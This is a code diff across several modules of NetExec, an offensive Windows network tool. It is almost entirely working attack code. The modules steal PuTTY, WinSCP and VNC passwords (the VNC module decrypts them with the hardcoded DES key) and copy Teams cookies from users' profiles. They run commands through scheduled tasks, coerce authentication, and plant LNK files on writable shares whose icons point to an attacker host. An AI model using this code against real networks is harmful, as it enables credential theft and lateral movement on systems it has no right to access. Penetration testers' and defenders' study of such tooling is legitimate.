all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
-1
View File
@@ -103,7 +103,6 @@ class NXCModule:
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
+3 -5
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._rdp_WMI__dcom.disconnect()
class RdpSmb:
@@ -218,7 +218,6 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -234,12 +233,11 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+2 -6
View File
@@ -4,7 +4,6 @@ from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -53,7 +52,6 @@ class NXCModule:
self.cmd,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -79,7 +77,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -91,7 +89,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -111,7 +108,6 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -256,7 +252,7 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
+4 -8
View File
@@ -43,11 +43,10 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -62,9 +61,8 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
@@ -196,7 +194,6 @@ class CoerceAuth:
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
@@ -205,7 +202,7 @@ class CoerceAuth:
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.setRemoteHost(remoteHost)
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
@@ -216,8 +213,7 @@ class CoerceAuth:
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+11 -16
View File
@@ -1,7 +1,7 @@
import pylnk3
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
"""
@@ -18,12 +18,11 @@ class NXCModule:
def __init__(self):
self.server = None
self.remote_file_path = None
self.local_lnk_path = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None
def options(self, context, module_options):
@@ -32,7 +31,6 @@ class NXCModule:
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
@@ -48,10 +46,6 @@ class NXCModule:
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
@@ -63,12 +57,12 @@ class NXCModule:
self.lnk_name = module_options["NAME"]
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.local_lnk_path)
link = pylnk3.create(self.lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
@@ -79,22 +73,23 @@ class NXCModule:
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.remote_file_path)
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+14 -16
View File
@@ -1,10 +1,8 @@
import json
import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import os
import time
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
@@ -38,7 +36,7 @@ def human_time(timestamp):
def make_dirs(path):
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
try:
makedirs(path)
os.makedirs(path)
except OSError as e:
if e.errno != errno.EEXIST:
raise
@@ -172,13 +170,13 @@ class SMBSpiderPlus:
The folder path and filename are then obtained separately.
"""
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
# Split the path to obtain the folder path and the filename
folder, filename = split(remote_file_path)
folder, filename = os.path.split(remote_file_path)
# Join the output folder with the folder path to get the final local folder path
folder = join(self.output_folder, folder)
folder = os.path.join(self.output_folder, folder)
return folder, filename
@@ -285,7 +283,7 @@ class SMBSpiderPlus:
return
# Check file extension filter.
_, file_extension = splitext(file_path)
_, file_extension = os.path.splitext(file_path)
if file_extension:
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
@@ -308,10 +306,10 @@ class SMBSpiderPlus:
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = join(file_dir, file_name)
download_path = os.path.join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
if os.path.exists(download_path):
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
self.stats["num_files_unmodified"] += 1
return
@@ -350,7 +348,7 @@ class SMBSpiderPlus:
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
download_path = os.path.join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
@@ -367,8 +365,8 @@ class SMBSpiderPlus:
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
# Check if the file is empty and should not be.
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
remove(download_path)
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
os.remove(download_path)
remote_path = str(remote_file)[2:]
self.logger.fail(f'Unable to download file "{remote_path}".')
@@ -377,7 +375,7 @@ class SMBSpiderPlus:
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
try:
with open(metadata_path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -500,7 +498,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+3 -6
View File
@@ -7,7 +7,6 @@ from impacket.dcerpc.v5.rpch import (
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -48,14 +47,14 @@ class NXCModule:
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
try:
entries = self.__fetch_list(connection.kerberos, rpctransport)
entries = self.__fetch_list(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -113,10 +112,8 @@ class NXCModule:
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
def __fetch_list(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+2 -4
View File
@@ -1,6 +1,4 @@
import sqlite3
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -18,7 +16,7 @@ class NXCModule:
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
with open("/tmp/teams_cookies2.txt", "wb") as f:
for path in paths:
try:
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -39,7 +37,7 @@ class NXCModule:
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
+1 -1
View File
@@ -37,6 +37,7 @@ class NXCModule:
"""
self.log_file = None
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
@@ -70,7 +71,6 @@ class NXCModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
-285
View File
@@ -1,285 +0,0 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
class NXCModule:
"""
Loot VNC Passwords
Module by @_zblurx
"""
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def options(self, context, module_options):
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
self.no_remoteops = False
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
self.no_remoteops = True
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
continue
else:
fh = tempfile.NamedTemporaryFile()
fh.write(ntuser_dat_bytes)
fh.seek(0)
reg = winregistry.Registry(fh.name, isRemote=False)
parent_key = reg.findKey(registry_path)
if parent_key is None:
continue
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
("TightVNC", "Software\\TightVNC\\Server", "Password"),
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
value = value.rstrip(b"\x00")
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
)
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
if value is None:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def recover_vncpassword(self, cipher: bytes):
encpasswd = cipher.hex()
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = bytes.fromhex(encpasswd)
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
pwd = b"".join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.decrypt_password(cipher)
else:
pwd = self.decrypt_password(cipher)
return pwd
def decrypt_password(self, password: bytes):
length = len(password)
try:
if length <= 16:
password += b"\x00" * (16 - length)
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
return cipher.decrypt(password)[:length]
except Exception as ex:
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
def vnc_from_filesystem(self, dploot_conn):
vncs = (
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
passwds_encrypted = re.findall(regex, file_content)
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+33 -15
View File
@@ -28,6 +28,17 @@ REG_VALUE_TYPE_32BIT_BE = 5
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
REG_VALUE_TYPE_64BIT_LE = 11
# Setup file logger
if "wcc_logger" not in globals():
wcc_logger = logging.getLogger("WCC")
wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
wcc_logger.addHandler(wcc_file_handler)
class ConfigCheck:
"""Class for performing the checks and holding the results"""
@@ -64,7 +75,7 @@ class ConfigCheck:
def log(self, context):
result = "passed" if self.ok else "did not pass"
reasons = ", ".join(self.reasons)
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
if self.module.quiet:
return
@@ -88,19 +99,6 @@ class NXCModule:
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
self.wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
self.wcc_logger.addHandler(wcc_file_handler)
def options(self, context, module_options):
"""
@@ -158,9 +156,15 @@ class HostChecker:
self.dce = remoteOps._RemoteOperations__rrp
def run(self):
# Prepare checks
self.init_checks()
# Perform checks
self.check_config()
# Check methods #
#################
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
@@ -479,6 +483,9 @@ class HostChecker:
return success, reasons
# Methods for getting values from the remote registry #
#######################################################
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
@@ -588,6 +595,9 @@ class HostChecker:
return data
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
# Methods for getting values from SAMR and SCM #
################################################
def get_service(self, service_name, connection):
"""Get the service status and configuration for specified service"""
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
@@ -635,15 +645,23 @@ class HostChecker:
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
# Comparison operators #
########################
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
+1 -1
View File
@@ -51,7 +51,7 @@ class NXCModule:
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+114 -55
View File
@@ -51,19 +51,25 @@ class NXCModule:
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def user_object_to_name_mapper(self, context, connection, all_user_objects):
def user_object_to_name_mapper(self, context, connection, allUserObjects):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[user_object] = user_profile_path.split("\\")[-1]
self.userDict[userObject] = user_profile_path.split("\\")[-1]
finally:
remote_ops.finish()
@@ -115,14 +121,22 @@ class NXCModule:
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registry_session_extractor(self, context, connection, user_object, sessionName):
def registry_session_extractor(self, context, connection, userObject, sessionName):
"""Extract Session information from registry"""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
